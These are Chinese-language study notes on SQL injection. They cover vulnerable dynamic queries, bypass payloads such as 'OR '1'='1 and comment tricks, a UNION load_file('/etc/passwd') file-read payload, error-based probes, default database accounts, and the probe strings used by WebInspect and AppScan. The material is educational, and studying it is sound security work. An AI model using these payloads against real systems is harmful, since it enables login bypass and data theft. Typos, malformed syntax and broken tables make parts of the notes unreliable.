SQL漏洞
1.构造动态字符串
$query ="select*from table where field ='$_get["input"]' ";
request.getparameter("input")+"' ";
构造的SQL语句
select *from table where field= 'input'
1.转义字符处理不当,数据库将单引号解析成代码与数据间的分界线,还有其他特殊字符
2.数字字符,和字符串,攻击者会读取/etc/passwd文件中的内容,该文件中包含系统用户的用户名和属性
select *from table where
union all selectload_file{'/etc/passwd')--
3.查询集处理不当
数据库注入漏洞存在三个关键点:
识别web应用接收的数据输入
修改输入值以包含危险的字符串
检测服务器返回的异常
用户名 | 密码 | 作用 | 解决 |
'OR '1'='1 |
| 查询永为真 | 构造动态字符串 |
| 'OR '1'='1 | 查询永为真 | $_GET['INPUT']' |
"、'、 、||、,、.、 | bi'+'kes |
| 转义字符处理不当 |
LAOD_FILE('/etc/passwd') |
|
| 数据类型处理不当 |
user | password | Super_priv | 查询集处理不当 |
|
|
| 错误处理不当 |
url乱序排列 |
|
| 多个提交处理不当 |
root/SYSTEN/Administrator | sa/anonymous | SYS/DBSNMP/PUTLN | 不安全的数据库配置 |
'having 1 '=' 1 |
|
| 显示数据库语句执行信息 |
' and 1=0/user;-- |
| 与下一行,一起披露 | 显示user变量的值 |
' group by productid having 1'=' 1 |
| 出每一列列名 | 显示productid的第一列 |
'and 1=0/Password and 1 '=' 1 | ' and 1=0/User and 1 ' = ' 1 |
| 类型转换错误技术,纰漏数据 |
' and User not in('Admin') and 1=0/User and 1'='1 |
|
| 使用否定条件从结果集中排除 |
data>'01/01/2009' |
|
|
|
''or 1=1;--'AND | 'admin'OR 1=1;--'AND |
| 跳过and后的数据,忽略注释后面的查询内容 |
admin/*' AND | '*/' |
|
|
1.缺少用户输入验证
2.数据和控制结构混合在同一传输通道
产生漏洞:堆,堆栈溢出,格式字符串问题
注入控制命令:select、 union、 and、or
数据库错误的构造和处理:
将SQL错误显示在页面上,它web浏览器可见
将SQL错误隐藏在Web页面的源代码中以便于调试
检测到错误时跳转到另一个页面
返回HTTP错误代码500(内部服务器错误)或HTTP重定向代码302
应用适当的处理错误而不显示结果,可能会显示一个通用的错误页面
数据库注释
数据库 | 注释 | 描述 |
SQL Server或者Oracle | --(double dash) | 用于单行注释 |
| /* */ | 用于多行注释 |
Mysql | #或者-- double dash | 用于单行注释 |
| /* */ | 用于多行注释 |
数据库的连接运算符
SQL Server | 'a'+'b'='ab' |
MySQL | 'a' 'b'='ab' |
Qracle | 'a'||'b'='ab' |
1.webInspect识别SQL注入漏洞时使用的特征量
'
value'OR
value'OR 5=5 OR 's's='0
value' AND 5=5 OR 's'='0
value' OR 5=0 OR 's'='0
value' AND 5=0OR 's'='0
0+value
value AND 5=5
value AND 5=0
value OR 5=5 OR 4=0
value OR 5=0 OR 4=0
2.Appscan,识别SQL注入漏洞使用的特征值
WF'SQL"Probe;A-B | '+'somechars | ' | 'and 'barfoo'='foobar')-- |
'hacing 1=1-- | somechars'+' | '; | 'and 'barfoo'='foobar'-- |
a having 1=1-- | somechars'||' | ) | 'or'foobar'='foobar'-- |
\'having 1=1-- | '||'somechars | \' | 'or'foobar'='foobar')-- |
.... |
|
|
|